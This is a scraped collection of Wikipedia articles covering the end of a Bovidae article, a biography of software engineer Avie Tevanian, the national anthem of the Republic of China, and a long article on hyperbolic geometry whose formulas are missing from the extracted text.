Bovidae have featured in stories since at least the time of Aesop's fables from Ancient Greece around 600 BC. Fables by Aesop include The Crow and the Sheep, The Frog and the Ox, and The Wolf and the Lamb. The mythological creature Chimera, depicted as a lion, with the head of a goat arising from its back, and a tail that might end with a snake's head, was one of the offspring of Typhon and Echidna and a sibling of such monsters as Cerberus and the Lernaean Hydra. The sheep, synonymous with the goat in Chinese mythology, is the eighth animal of the Chinese zodiac, and a symbol of filial piety.
References
External links
Mammal families
Extant Burdigalian first appearances
Taxa named by John Edward Gray | [
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] |
241282 | https://en.wikipedia.org/wiki/Avie%20Tevanian | Avie Tevanian | Avadis "Avie" Tevanian (born 1961) is an American software engineer. At Carnegie Mellon University, he was a principal designer and engineer of the Mach operating system (also known as the Mach Kernel). He leveraged that work at NeXT Inc. as the foundation of the NeXTSTEP operating system. He was senior vice president of software engineering at Apple from 1997 to 2003, and then chief software technology officer from 2003 to 2006. There, he redesigned NeXTSTEP to become macOS. Apple’s macOS and iOS both incorporate the Mach Kernel, and iPadOS, watchOS, and tvOS are all derived from iOS. He was a longtime friend of Steve Jobs.
Early life
Tevanian is from Westbrook, Maine. He is of Armenian descent. Tevanian cloned the 1980s arcade game Missile Command, giving it the same name in a version for the Xerox Alto, and Mac Missiles! for the Macintosh platform. He has a B.A. in mathematics from the University of Rochester and M.S. and Ph.D. degrees in computer science from Carnegie Mellon University. There, he was a principal designer and engineer of the Mach operating system.
Career
NeXT Inc.
He was Vice President of Software Engineering at NeXT Inc. and was responsible for managing NeXT's software engineering department. There, he designed the NeXTSTEP operating system, based upon his previous academic work on Mach.
Apple Inc.
He was senior vice president of software engineering at Apple from 1997 to 2003, and then chief software technology officer from 2003 to 2006. There, he redesigned NeXTSTEP to become macOS, which became iOS.
In United States v. Microsoft in 2001, he was a witness for the United States Department of Justice, testifying against Microsoft.
Theranos and Dolby Labs
Tevanian left Apple on March 31, 2006, and joined the board of Dolby Labs and Theranos, Inc. He resigned from the board of Theranos in late 2007, with an acrimonious ending as he faced legal threats and was forced to waive his right to buy a company cofounder's shares, actions he believed were in retaliation for the skepticism he was often alone in expressing about the company's finances and progress in developing its technology at board meetings. In May 2006, he joined the board of Tellme Networks, which was later sold to Microsoft. On January 12, 2010, he became managing director of Elevation Partners. In July 2015, he cofounded NextEquity Partners and is currently serving as Managing Director.
References
External links
Avie Tevanian, oral history, Computer History Museum
American people of Armenian descent
Armenian scientists
Apple Inc. employees
Apple Inc. executives
Carnegie Mellon University alumni
American computer scientists
Living people
NeXT
University of Rochester alumni
People from Westbrook, Maine
Macintosh operating systems people
Date of birth missing (living people)
Place of birth missing (living people)
Theranos people
1961 births | [
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241285 | https://en.wikipedia.org/wiki/National%20Anthem%20of%20the%20Republic%20of%20China | National Anthem of the Republic of China | The "Three Principles of the People" is the party anthem of the Kuomintang as well as the national anthem of the Republic of China (ROC) adopted in 1930 by the ROC as the "National Anthem of the Republic of China". It was used as such in mainland China until 1949, when the central government of the Republic of China relocated to Taiwan following its defeat by the Chinese Communist Party in the Chinese Civil War. It replaced the "Song to the Auspicious Cloud", which had been used as the Chinese national anthem before. The national anthem was adopted on October 25, 1945 after the surrender of Japan. Mainland China, being governed by People's Republic of China today, has discontinued this national anthem for "March of the Volunteers".
The national anthem's words are adapted from a 1924 speech by Sun Yat-sen in 1937. The lyrics relate to how the vision and hopes of a new nation and its people can be achieved and maintained. Informally, the song is sometimes known as San Min Chu-i from its opening line which references the Three Principles of the People (Sanmin Zhuyi), but this name is never used in formal or official occasions.
History
The text of was the collaboration between several Kuomintang (KMT) party members: Hu Hanmin, Tai Chi-tao, Liao Zhongkai, and Shao Yuanchong. The text debuted on 16 June 1924, as the opening of a speech by Sun Yat-sen at the opening ceremony of the Whampoa Military Academy. After the success of the Northern Expedition, the Kuomintang party chose the text to be its party anthem and publicly solicited for accompanying music. Cheng Maoyun won in a contest of 139 participants.
On 24 March 1930, numerous Kuomintang party members proposed to use the speech by Sun as the lyrics to the national anthem. At the time, the national anthem of the republic was the "Song to the Auspicious Cloud". Due to opposition over using a symbol of a political party to represent the entire nation, the National Anthem Editing and Research Committee () was set up, which endorsed the KMT party song. On 3 June 1937, the Central Standing Committee () approved the proposal, and in the 1940s, the song formally became the official national anthem of the Republic of China. For many Taiwanese the anthem carries a number of meanings, often conflicting. Some Taiwanese reject the anthem outright as an anachronistic symbol of the vanquished KMT dictatorship.
Tune
Lyrics
The lyrics are in classical literary Chinese. For example:
ěr () is a literary equivalent of both singular and plural "you" (which are differentiated in modern Chinese) depending on the context. In this case, it is plural "you".
fěi () is a classical synonym of "not" ( fēi).
zī () is a classical, archaic interjection, and is not used in this sense in the modern vernacular language.
In this respect, the national anthem of the Republic of China stands in contrast to the People's Republic of China's "March of the Volunteers", which was written a few years later entirely in modern vernacular Chinese.
As well as being written in classical Chinese, the national anthem follows classical poetic conventions. The ancient Fu style follows that of a four-character poem, where the last character of each line rhymes in -ong or -eng, which are equivalent.
Phonetic transcription (IPA)
[sán.mǐn ʈʂù.î ǔ tàŋ swɔ̀ t͡sʊ́ŋ]
[ì t͡ɕjɛ̂n mǐn.kwɔ̌ ì t͡ɕîn tâ.tʰʊ̌ŋ]
[t͡sɹ̩́ àɚ twɔ́.ʂɻ̩̂ wɛ̂i mǐn t͡ɕʰjɛ̌n.fɤ́ŋ]
[sû.jɛ̂ fɛ̀i ɕjɛ̂ ʈʂù.î ʂɻ̩̂ t͡sʰʊ̌ŋ]
[ʂɻ̩̀ t͡ɕʰǐn ʂɻ̩̀ jʊ̀ŋ pî ɕîn pî ʈʂʊ́ŋ]
[î ɕín î tɤ̌ kwân.ʈʂʰɤ̂ ʂɻ̩̀ ʈʂʊ́ŋ]
English translations
The official translation by Du Tingxiu (Theodore B. Tu) appears in English-language guides to the ROC published by the government.
Official
San Min Chu-i
Our aim shall be:
To found a free land,
World peace, be our stand.
Lead on, comrades,
Vanguards ye are.
Hold fast your aim,
By sun and star.
Be earnest and brave,
Your country to save,
One heart, one soul,
One mind, one goal...
Literal
Three people's principles
The foundation of us.
Using this, we establish the Republic;
Using this, we advance into a state of total peace.
Oh, you, righteous men,
For the people, be the vanguard.
Without resting day or night,
Follow the Principles.
Swear to be diligent; swear to be courageous.
Obliged to be trustworthy; obliged to be loyal.
With one heart and one virtue,
We carry through until the very end...
Transcription in other Chinese languages
Notes
References
Further reading
Reed W. L. and Bristow M. J. (eds.) (2002) "National Anthems of the World", 10 ed., London
Cassell, p. 526.
External links
The National Anthem of the ROC (4 Versions)
National symbols of Taiwan
Political party songs
Three Principles of the People
China, Republic of
Chinese patriotic songs
National anthem compositions in C major
National symbols of the Republic of China (1912–1949) | [
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241291 | https://en.wikipedia.org/wiki/Hyperbolic%20geometry | Hyperbolic geometry | In mathematics, hyperbolic geometry (also called Lobachevskian geometry or Bolyai–Lobachevskian geometry) is a non-Euclidean geometry. The parallel postulate of Euclidean geometry is replaced with:
For any given line R and point P not on R, in the plane containing both line R and point P there are at least two distinct lines through P that do not intersect R.
(Compare the above with Playfair's axiom, the modern version of Euclid's parallel postulate.)
Hyperbolic plane geometry is also the geometry of saddle surfaces and pseudospherical surfaces, surfaces with a constant negative Gaussian curvature.
A modern use of hyperbolic geometry is in the theory of special relativity, particularly the Minkowski model.
When geometers first realised they were working with something other than the standard Euclidean geometry, they described their geometry under many different names; Felix Klein finally gave the subject the name hyperbolic geometry to include it in the now rarely used sequence elliptic geometry (spherical geometry), parabolic geometry (Euclidean geometry), and hyperbolic geometry.
In the former Soviet Union, it is commonly called Lobachevskian geometry, named after one of its discoverers, the Russian geometer Nikolai Lobachevsky.
This page is mainly about the 2-dimensional (planar) hyperbolic geometry and the differences and similarities between Euclidean and hyperbolic geometry. See hyperbolic space for more information on hyperbolic geometry extended to three and more dimensions.
Properties
Relation to Euclidean geometry
Hyperbolic geometry is more closely related to Euclidean geometry than it seems: the only axiomatic difference is the parallel postulate.
When the parallel postulate is removed from Euclidean geometry the resulting geometry is absolute geometry.
There are two kinds of absolute geometry, Euclidean and hyperbolic.
All theorems of absolute geometry, including the first 28 propositions of book one of Euclid's Elements, are valid in Euclidean and hyperbolic geometry.
Propositions 27 and 28 of Book One of Euclid's Elements prove the existence of parallel/non-intersecting lines.
This difference also has many consequences: concepts that are equivalent in Euclidean geometry are not equivalent in hyperbolic geometry; new concepts need to be introduced.
Further, because of the angle of parallelism, hyperbolic geometry has an absolute scale, a relation between distance and angle measurements.
Lines
Single lines in hyperbolic geometry have exactly the same properties as single straight lines in Euclidean geometry. For example, two points uniquely define a line, and line segments can be infinitely extended.
Two intersecting lines have the same properties as two intersecting lines in Euclidean geometry. For example, two distinct lines can intersect in no more than one point, intersecting lines form equal opposite angles, and adjacent angles of intersecting lines are supplementary.
When a third line is introduced, then there can be properties of intersecting lines that differ from intersecting lines in Euclidean geometry. For example, given two intersecting lines there are infinitely many lines that do not intersect either of the given lines.
These properties are all independent of the model used, even if the lines may look radically different.
Non-intersecting / parallel lines
Non-intersecting lines in hyperbolic geometry also have properties that differ from non-intersecting lines in Euclidean geometry:
For any line R and any point P which does not lie on R, in the plane containing line R and point P there are at least two distinct lines through P that do not intersect R.
This implies that there are through P an infinite number of coplanar lines that do not intersect R.
These non-intersecting lines are divided into two classes:
Two of the lines (x and y in the diagram) are limiting parallels (sometimes called critically parallel, horoparallel or just parallel): there is one in the direction of each of the ideal points at the "ends" of R, asymptotically approaching R, always getting closer to R, but never meeting it.
All other non-intersecting lines have a point of minimum distance and diverge from both sides of that point, and are called ultraparallel, diverging parallel or sometimes non-intersecting.
Some geometers simply use the phrase "parallel lines" to mean "limiting parallel lines", with ultraparallel lines meaning just non-intersecting.
These limiting parallels make an angle θ with PB; this angle depends only on the Gaussian curvature of the plane and the distance PB and is called the angle of parallelism.
For ultraparallel lines, the ultraparallel theorem states that there is a unique line in the hyperbolic plane that is perpendicular to each pair of ultraparallel lines.
Circles and disks
In hyperbolic geometry, the circumference of a circle of radius r is greater than .
Let , where is the Gaussian curvature of the plane. In hyperbolic geometry, is negative, so the square root is of a positive number.
Then the circumference of a circle of radius r is equal to:
And the area of the enclosed disk is:
Therefore, in hyperbolic geometry the ratio of a circle's circumference to its radius is always strictly greater than , though it can be made arbitrarily close by selecting a small enough circle.
If the Gaussian curvature of the plane is −1 then the geodesic curvature of a circle of radius r is:
Hypercycles and horocycles
In hyperbolic geometry, there is no line all of whose points are equidistant from another line. Instead, the points that all have the same orthogonal distance from a given line lie on a curve called a hypercycle.
Another special curve is the horocycle, a curve whose normal radii (perpendicular lines) are all limiting parallel to each other (all converge asymptotically in one direction to the same ideal point, the centre of the horocycle).
Through every pair of points there are two horocycles. The centres of the horocycles are the ideal points of the perpendicular bisector of the line-segment between them.
Given any three distinct points, they all lie on either a line, hypercycle, horocycle, or circle.
The length of the line-segment is the shortest length between two points. The arc-length of a hypercycle connecting two points is longer than that of the line segment and shorter than that of a horocycle, connecting the same two points. The arclength of both horocycles connecting two points are equal. The arc-length of a circle between two points is larger than the arc-length of a horocycle connecting two points.
If the Gaussian curvature of the plane is −1 then the geodesic curvature of a horocycle is 1 and of a hypercycle is between 0 and 1.
Triangles
Unlike Euclidean triangles, where the angles always add up to π radians (180°, a straight angle), in hyperbolic geometry the sum of the angles of a hyperbolic triangle is always strictly less than π radians (180°, a straight angle). The difference is referred to as the defect.
The area of a hyperbolic triangle is given by its defect in radians multiplied by R2. As a consequence, all hyperbolic triangles have an area that is less than or equal to R2π. The area of a hyperbolic ideal triangle in which all three angles are 0° is equal to this maximum.
As in Euclidean geometry, each hyperbolic triangle has an incircle. In hyperbolic geometry, if all three of its vertices lie on a horocycle or hypercycle, then the triangle has no circumscribed circle.
As in spherical and elliptical geometry, in hyperbolic geometry if two triangles are similar, they must be congruent.
Regular apeirogon
A special polygon in hyperbolic geometry is the regular apeirogon, a uniform polygon with an infinite number of sides.
In Euclidean geometry, the only way to construct such a polygon is to make the side lengths tend to zero and the apeirogon is indistinguishable from a circle, or make the interior angles tend to 180 degrees and the apeirogon approaches a straight line.
However, in hyperbolic geometry, a regular apeirogon has sides of any length (i.e., it remains a polygon).
The side and angle bisectors will, depending on the side length and the angle between the sides, be limiting or diverging parallel (see lines above).
If the bisectors are limiting parallel the apeirogon can be inscribed and circumscribed by concentric horocycles.
If the bisectors are diverging parallel then a pseudogon (distinctly different from an apeirogon) can be inscribed in hypercycles (all vertices are the same distance of a line, the axis, also the midpoint of the side segments are all equidistant to the same axis.)
Tessellations
Like the Euclidean plane it is also possible to tessellate the hyperbolic plane with regular polygons as faces.
There are an infinite number of uniform tilings based on the Schwarz triangles (p q r) where 1/p + 1/q + 1/r < 1, where p, q, r are each orders of reflection symmetry at three points of the fundamental domain triangle, the symmetry group is a hyperbolic triangle group. There are also infinitely many uniform tilings that cannot be generated from Schwarz triangles, some for example requiring quadrilaterals as fundamental domains.
Standardized Gaussian curvature
Though hyperbolic geometry applies for any surface with a constant negative Gaussian curvature, it is usual to assume a scale in which the curvature K is −1.
This results in some formulas becoming simpler. Some examples are:
The area of a triangle is equal to its angle defect in radians.
The area of a horocyclic sector is equal to the length of its horocyclic arc.
An arc of a horocycle so that a line that is tangent at one endpoint is limiting parallel to the radius through the other endpoint has a length of 1.
The ratio of the arc lengths between two radii of two concentric horocycles where the horocycles are a distance 1 apart is e :1.
Cartesian-like coordinate systems
In hyperbolic geometry, the sum of the angles of a quadrilateral is always less than 360 degrees, and hyperbolic rectangles differ greatly from Euclidean rectangles since there are no equidistant lines, so a proper Euclidean rectangle would need to be enclosed by two lines and two hypercycles. These all complicate coordinate systems.
There are however different coordinate systems for hyperbolic plane geometry. All are based around choosing a point (the origin) on a chosen directed line (the x-axis) and after that many choices exist.
The Lobachevski coordinates x and y are found by dropping a perpendicular onto the x-axis. x will be the label of the foot of the perpendicular. y will be the distance along the perpendicular of the given point from its foot (positive on one side and negative on the other).
Another coordinate system measures the distance from the point to the horocycle through the origin centered around and the length along this horocycle.
Other coordinate systems use the Klein model or the Poincare disk model described below, and take the Euclidean coordinates as hyperbolic.
Distance
Construct a Cartesian-like coordinate system as follows. Choose a line (the x-axis) in the hyperbolic plane (with a standardized curvature of −1) and label the points on it by their distance from an origin (x=0) point on the x-axis (positive on one side and negative on the other). For any point in the plane, one can define coordinates x and y by dropping a perpendicular onto the x-axis. x will be the label of the foot of the perpendicular. y will be the distance along the perpendicular of the given point from its foot (positive on one side and negative on the other). Then the distance between two such points will be
This formula can be derived from the formulas about hyperbolic triangles.
The corresponding metric tensor is: .
In this coordinate system, straight lines are either perpendicular to the x-axis (with equation x = a constant) or described by equations of the form
where A and B are real parameters which characterize the straight line.
History
Since the publication of Euclid's Elements circa 300 BCE, many geometers made attempts to prove the parallel postulate. Some tried to prove it by assuming its negation and trying to derive a contradiction. Foremost among these were Proclus, Ibn al-Haytham (Alhacen), Omar Khayyám, Nasīr al-Dīn al-Tūsī, Witelo, Gersonides, Alfonso, and later Giovanni Gerolamo Saccheri, John Wallis, Johann Heinrich Lambert, and Legendre.
Their attempts were doomed to failure (as we now know, the parallel postulate is not provable from the other postulates), but their efforts led to the discovery of hyperbolic geometry.
The theorems of Alhacen, Khayyam and al-Tūsī on quadrilaterals, including the Ibn al-Haytham–Lambert quadrilateral and Khayyam–Saccheri quadrilateral, were the first theorems on hyperbolic geometry. Their works on hyperbolic geometry had a considerable influence on its development among later European geometers, including Witelo, Gersonides, Alfonso, John Wallis and Saccheri.
In the 18th century, Johann Heinrich Lambert introduced the hyperbolic functions and computed the area of a hyperbolic triangle.
19th-century developments
In the 19th century, hyperbolic geometry was explored extensively by Nikolai Ivanovich Lobachevsky, János Bolyai, Carl Friedrich Gauss and Franz Taurinus. Unlike their predecessors, who just wanted to eliminate the parallel postulate from the axioms of Euclidean geometry, these authors realized they had discovered a new geometry.
Gauss wrote in an 1824 letter to Franz Taurinus that he had constructed it, but Gauss did not publish his work. Gauss called it "non-Euclidean geometry" causing several modern authors to continue to consider "non-Euclidean geometry" and "hyperbolic geometry" to be synonyms. Taurinus published results on hyperbolic trigonometry in 1826, argued that hyperbolic geometry is self consistent, but still believed in the special role of Euclidean geometry. The complete system of hyperbolic geometry was published by Lobachevsky in 1829/1830, while Bolyai discovered it independently and published in 1832.
In 1868, Eugenio Beltrami provided models (see below) of hyperbolic geometry, and used this to prove that hyperbolic geometry was consistent if and only if Euclidean geometry was.
The term "hyperbolic geometry" was introduced by Felix Klein in 1871. Klein followed an initiative of Arthur Cayley to use the transformations of projective geometry to produce isometries. The idea used a conic section or quadric to define a region, and used cross ratio to define a metric. The projective transformations that leave the conic section or quadric stable are the isometries. "Klein showed that if the Cayley absolute is a real curve then the part of the projective plane in its interior is isometric to the hyperbolic plane..."
For more history, see article on non-Euclidean geometry, and the references Coxeter and Milnor.
Philosophical consequences
The discovery of hyperbolic geometry had important philosophical consequences. Before its discovery many philosophers (for example Hobbes and Spinoza) viewed philosophical rigour in terms of the "geometrical method", referring to the method of reasoning used in Euclid's Elements.
Kant in the Critique of Pure Reason came to the conclusion that space (in Euclidean geometry) and time are not discovered by humans as objective features of the world, but are part of an unavoidable systematic framework for organizing our experiences.
It is said that Gauss did not publish anything about hyperbolic geometry out of fear of the "uproar of the Boeotians", which would ruin his status as princeps mathematicorum (Latin, "the Prince of Mathematicians").
The "uproar of the Boeotians" came and went, and gave an impetus to great improvements in mathematical rigour, analytical philosophy and logic. Hyperbolic geometry was finally proved consistent and is therefore another valid geometry.
Geometry of the universe (spatial dimensions only)
Because Euclidean, hyperbolic and elliptic geometry are all consistent, the question arises: which is the real geometry of space, and if it is hyperbolic or elliptic, what is its curvature?
Lobachevsky had already tried to measure the curvature of the universe by measuring the parallax of Sirius and treating Sirius as the ideal point of an angle of parallelism. He realised that his measurements were not precise enough to give a definite answer, but he did reach the conclusion that if the geometry of the universe is hyperbolic, then the absolute length is at least one million times the diameter of the earth's orbit (, 10 parsec).
Some argue that his measurements were methodologically flawed.
Henri Poincaré, with his sphere-world thought experiment, came to the conclusion that everyday experience does not necessarily rule out other geometries.
The geometrization conjecture gives a complete list of eight possibilities for the fundamental geometry of our space. The problem in determining which one applies is that, to reach a definitive answer, we need to be able to look at extremely large shapes – much larger than anything on Earth or perhaps even in our galaxy.
Geometry of the universe (special relativity)
Special relativity places space and time on equal footing, so that one considers the geometry of a unified spacetime instead of considering space and time separately. Minkowski geometry replaces Galilean geometry (which is the three-dimensional Euclidean space with time of Galilean relativity).
In relativity, rather than considering Euclidean, elliptic and hyperbolic geometries, the appropriate geometries to consider are Minkowski space, de Sitter space and anti-de Sitter space, corresponding to zero, positive and negative curvature respectively.
Hyperbolic geometry enters special relativity through rapidity, which stands in for velocity, and is expressed by a hyperbolic angle. The study of this velocity geometry has been called kinematic geometry. The space of relativistic velocities has a three-dimensional hyperbolic geometry, where the distance function is determined from the relative velocities of "nearby" points (velocities).
Physical realizations of the hyperbolic plane
The hyperbolic plane is a plane where every point is a saddle point. There exist various pseudospheres in Euclidean space that have a finite area of constant negative Gaussian curvature.
By Hilbert's theorem, it is not possible to isometrically immerse a complete hyperbolic plane (a complete regular surface of constant negative Gaussian curvature) in a three-dimensional Euclidean space.
Other useful models of hyperbolic geometry exist in Euclidean space, in which the metric is not preserved. A particularly well-known paper model based on the pseudosphere is due to William Thurston.
The art of crochet has been used (see ) to demonstrate hyperbolic planes, the first such demonstration having been made by Daina Taimiņa.
In 2000, Keith Henderson demonstrated a quick-to-make paper model dubbed the "hyperbolic soccerball" (more precisely, a truncated order-7 triangular tiling).
Instructions on how to make a hyperbolic quilt, designed by Helaman Ferguson, have been made available by Jeff Weeks.
Models of the hyperbolic plane
There are different pseudospherical surfaces that have for a large area a constant negative Gaussian curvature, the pseudosphere being the best well known of them.
But it is easier to do hyperbolic geometry on other models.
There are four models commonly used for hyperbolic geometry: the Klein model, the Poincaré disk model, the Poincaré half-plane model, and the Lorentz or hyperboloid model. These models define a hyperbolic plane which satisfies the axioms of a hyperbolic geometry.
Despite their names, the first three mentioned above were introduced as models of hyperbolic space by Beltrami, not by Poincaré or Klein. All these models are extendable to more dimensions.
The Beltrami–Klein model
The Beltrami–Klein model, also known as the projective disk model, Klein disk model and Klein model, is named after Eugenio Beltrami and Felix Klein.
For the two dimensions this model uses the interior of the unit circle for the complete hyperbolic plane, and the chords of this circle are the hyperbolic lines.
For higher dimensions this model uses the interior of the unit ball, and the chords of this n-ball are the hyperbolic lines.
This model has the advantage that lines are straight, but the disadvantage that angles are distorted (the mapping is not conformal), and also circles are not represented as circles.
The distance in this model is half the logarithm of the cross-ratio, which was introduced by Arthur Cayley in projective geometry.
The Poincaré disk model
The Poincaré disk model, also known as the conformal disk model, also employs the interior of the unit circle, but lines are represented by arcs of circles that are orthogonal to the boundary circle, plus diameters of the boundary circle.
This model preserves angles, and is thereby conformal. All isometries within this model are therefore Möbius transformations.
Circles entirely within the disk remain circles although the Euclidean center of the circle is closer to the center of the disk than is the hyperbolic center of the circle.
Horocycles are circles within the disk which are tangent to the boundary circle, minus the point of contact.
Hypercycles are open-ended chords and circular arcs within the disc that terminate on the boundary circle at non-orthogonal angles.
The Poincaré half-plane model
The Poincaré half-plane model takes one-half of the Euclidean plane, bounded by a line B of the plane, to be a model of the hyperbolic plane. The line B is not included in the model.
The Euclidean plane may be taken to be a plane with the Cartesian coordinate system and the x-axis is taken as line B and the half plane is the upper half (y > 0 ) of this plane.
Hyperbolic lines are then either half-circles orthogonal to B or rays perpendicular to B.
The length of an interval on a ray is given by logarithmic measure so it is invariant under a homothetic transformation
Like the Poincaré disk model, this model preserves angles, and is thus conformal. All isometries within this model are therefore Möbius transformations of the plane.
The half-plane model is the limit of the Poincaré disk model whose boundary is tangent to B at the same point while the radius of the disk model goes to infinity.
The hyperboloid model
The hyperboloid model or Lorentz model employs a 2-dimensional hyperboloid of revolution (of two sheets, but using one) embedded in 3-dimensional Minkowski space. This model is generally credited to Poincaré, but Reynolds says that Wilhelm Killing used this model in 1885
This model has direct application to special relativity, as Minkowski 3-space is a model for spacetime, suppressing one spatial dimension. One can take the hyperboloid to represent the events that various moving observers, radiating outward in a spatial plane from a single point, will reach in a fixed proper time.
The hyperbolic distance between two points on the hyperboloid can then be identified with the relative rapidity between the two corresponding observers.
The model generalizes directly to an additional dimension, where three-dimensional hyperbolic geometry relates to Minkowski 4-space.
The hemisphere model
The hemisphere model is not often used as model by itself, but it functions as a useful tool for visualising transformations between the other models.
The hemisphere model uses the upper half of the unit sphere:
The hyperbolic lines are half-circles orthogonal to the boundary of the hemisphere.
The hemisphere model is part of a Riemann sphere, and different projections give different models of the hyperbolic plane:
Stereographic projection from onto the plane projects corresponding points on the Poincaré disk model
Stereographic projection from onto the surface projects corresponding points on the hyperboloid model
Stereographic projection from onto the plane projects corresponding points on the Poincaré half-plane model
Orthographic projection onto a plane projects corresponding points on the Beltrami–Klein model.
Central projection from the centre of the sphere onto the plane projects corresponding points on the Gans Model
See further: Connection between the models (below)
The Gans model
In 1966 David Gans proposed a flattened hyperboloid model in the journal American Mathematical Monthly. It is an orthographic projection of the hyperboloid model onto the xy-plane.
This model is not as widely used as other models but nevertheless is quite useful in the understanding of hyperbolic geometry.
Unlike the Klein or the Poincaré models, this model utilizes the entire Euclidean plane.
The lines in this model are represented as branches of a hyperbola.
The band model
The band model employs a portion of the Euclidean plane between two parallel lines. Distance is preserved along one line through the middle of the band. Assuming the band is given by , the metric is given by .
Connection between the models
All models essentially describe the same structure. The difference between them is that they represent different coordinate charts laid down on the same metric space, namely the hyperbolic plane.
The characteristic feature of the hyperbolic plane itself is that it has a constant negative Gaussian curvature, which is indifferent to the coordinate chart used. The geodesics are similarly invariant: that is, geodesics map to geodesics under coordinate transformation.
Hyperbolic geometry generally is introduced in terms of the geodesics and their intersections on the hyperbolic plane.
Once we choose a coordinate chart (one of the "models"), we can always embed it in a Euclidean space of same dimension, but the embedding is clearly not isometric (since the curvature of Euclidean space is 0). The hyperbolic space can be represented by infinitely many different charts; but the embeddings in Euclidean space due to these four specific charts show some interesting characteristics.
Since the four models describe the same metric space, each can be transformed into the other.
See, for example:
the Beltrami–Klein model's relation to the hyperboloid model,
the Beltrami–Klein model's relation to the Poincaré disk model,
and the Poincaré disk model's relation to the hyperboloid model.
Isometries of the hyperbolic plane
Every isometry (transformation or motion) of the hyperbolic plane to itself can be realized as the composition of at most three reflections. In n-dimensional hyperbolic space, up to n+1 reflections might be required. (These are also true for Euclidean and spherical geometries, but the classification below is different.)
All the isometries of the hyperbolic plane can be classified into these classes:
Orientation preserving
the identity isometry — nothing moves; zero reflections; zero degrees of freedom.
inversion through a point (half turn) — two reflections through mutually perpendicular lines passing through the given point, i.e. a rotation of 180 degrees around the point; two degrees of freedom.
rotation around a normal point — two reflections through lines passing through the given point (includes inversion as a special case); points move on circles around the center; three degrees of freedom.
"rotation" around an ideal point (horolation) — two reflections through lines leading to the ideal point; points move along horocycles centered on the ideal point; two degrees of freedom.
translation along a straight line — two reflections through lines perpendicular to the given line; points off the given line move along hypercycles; three degrees of freedom.
Orientation reversing
reflection through a line — one reflection; two degrees of freedom.
combined reflection through a line and translation along the same line — the reflection and translation commute; three reflections required; three degrees of freedom.
Hyperbolic geometry in art
M. C. Escher's famous prints Circle Limit III and Circle Limit IV
illustrate the conformal disc model (Poincaré disk model) quite well. The white lines in III are not quite geodesics (they are hypercycles), but are close to them. It is also possible to see quite plainly the negative curvature of the hyperbolic plane, through its effect on the sum of angles in triangles and squares.
For example, in Circle Limit III every vertex belongs to three triangles and three squares. In the Euclidean plane, their angles would sum to 450°; i.e., a circle and a quarter. From this, we see that the sum of angles of a triangle in the hyperbolic plane must be smaller than 180°. Another visible property is exponential growth. In Circle Limit III, for example, one can see that the number of fishes within a distance of n from the center rises exponentially. The fishes have an equal hyperbolic area, so the area of a ball of radius n must rise exponentially in n.
The art of crochet has been used to demonstrate hyperbolic planes (pictured above) with the first being made by Daina Taimiņa, whose book Crocheting Adventures with Hyperbolic Planes won the 2009 Bookseller/Diagram Prize for Oddest Title of the Year.
HyperRogue is a roguelike game set on various tilings of the hyperbolic plane.
Higher dimensions
Hyperbolic geometry is not limited to 2 dimensions; a hyperbolic geometry exists for every higher number of dimensions.
Homogeneous structure
Hyperbolic space of dimension n is a special case of a Riemannian symmetric space of noncompact type, as it is isomorphic to the quotient
The orthogonal group acts by norm-preserving transformations on Minkowski space R1,n, and it acts transitively on the two-sheet hyperboloid of norm 1 vectors. Timelike lines (i.e., those with positive-norm tangents) through the origin pass through antipodal points in the hyperboloid, so the space of such lines yields a model of hyperbolic n-space. The stabilizer of any particular line is isomorphic to the product of the orthogonal groups O(n) and O(1), where O(n) acts on the tangent space of a point in the hyperboloid, and O(1) reflects the line through the origin. Many of the elementary concepts in hyperbolic geometry can be described in linear algebraic terms: geodesic paths are described by intersections with planes through the origin, dihedral angles between hyperplanes can be described by inner products of normal vectors, and hyperbolic reflection groups can be given explicit matrix realizations.
In small dimensions, there are exceptional isomorphisms of Lie groups that yield additional ways to consider symmetries of hyperbolic spaces. For example, in dimension 2, the isomorphisms allow one to interpret the upper half plane model as the quotient and the Poincaré disc model as the quotient . In both cases, the symmetry groups act by fractional linear transformations, since both groups are the orientation-preserving stabilizers in of the respective subspaces of the Riemann sphere. The Cayley transformation not only takes one model of the hyperbolic plane to the other, but realizes the isomorphism of symmetry groups as conjugation in a larger group. In dimension 3, the fractional linear action of on the Riemann sphere is identified with the action on the conformal boundary of hyperbolic 3-space induced by the isomorphism . This allows one to study isometries of hyperbolic 3-space by considering spectral properties of representative complex matrices. For example, parabolic transformations are conjugate to rigid translations in the upper half-space model, and they are exactly those transformations that can be represented by unipotent upper triangular matrices.
See also
Constructions in hyperbolic geometry
Hyperbolic 3-manifold
Hyperbolic manifold
Hyperbolic set
Hjelmslev transformation
Hyperbolic tree
Kleinian group
Lambert quadrilateral
Open universe
Poincaré metric
Saccheri quadrilateral
Systolic geometry
Uniform tilings in hyperbolic plane
δ-hyperbolic space
Band model
Notes
References
A'Campo, Norbert and Papadopoulos, Athanase, (2012) Notes on hyperbolic geometry, in: Strasbourg Master class on Geometry, pp. 1–182, IRMA Lectures in Mathematics and Theoretical Physics, Vol. 18, Zürich: European Mathematical Society (EMS), 461 pages, SBN , DOI 10.4171–105.
Coxeter, H. S. M., (1942) Non-Euclidean geometry, University of Toronto Press, Toronto
Lobachevsky, Nikolai I., (2010) Pangeometry, Edited and translated by Athanase Papadopoulos, Heritage of European Mathematics, Vol. 4. Zürich: European Mathematical Society (EMS). xii, 310~p, /hbk
Milnor, John W., (1982) Hyperbolic geometry: The first 150 years, Bull. Amer. Math. Soc. (N.S.) Volume 6, Number 1, pp. 9–24.
Reynolds, William F., (1993) Hyperbolic Geometry on a Hyperboloid, American Mathematical Monthly 100:442–455.
Samuels, David, (March 2006) Knit Theory Discover Magazine, volume 27, Number 3.
James W. Anderson, Hyperbolic Geometry, Springer 2005,
James W. Cannon, William J. Floyd, Richard Kenyon, and Walter R. Parry (1997) Hyperbolic Geometry, MSRI Publications, volume 31.
External links
Javascript freeware for creating sketches in the Poincaré Disk Model of Hyperbolic Geometry University of New Mexico
"The Hyperbolic Geometry Song" A short music video about the basics of Hyperbolic Geometry available at YouTube.
More on hyperbolic geometry, including movies and equations for conversion between the different models University of Illinois at Urbana-Champaign
Hyperbolic Voronoi diagrams made easy, Frank Nielsen
, interactive instructional website.
Hyperbolic Planar Tesselations
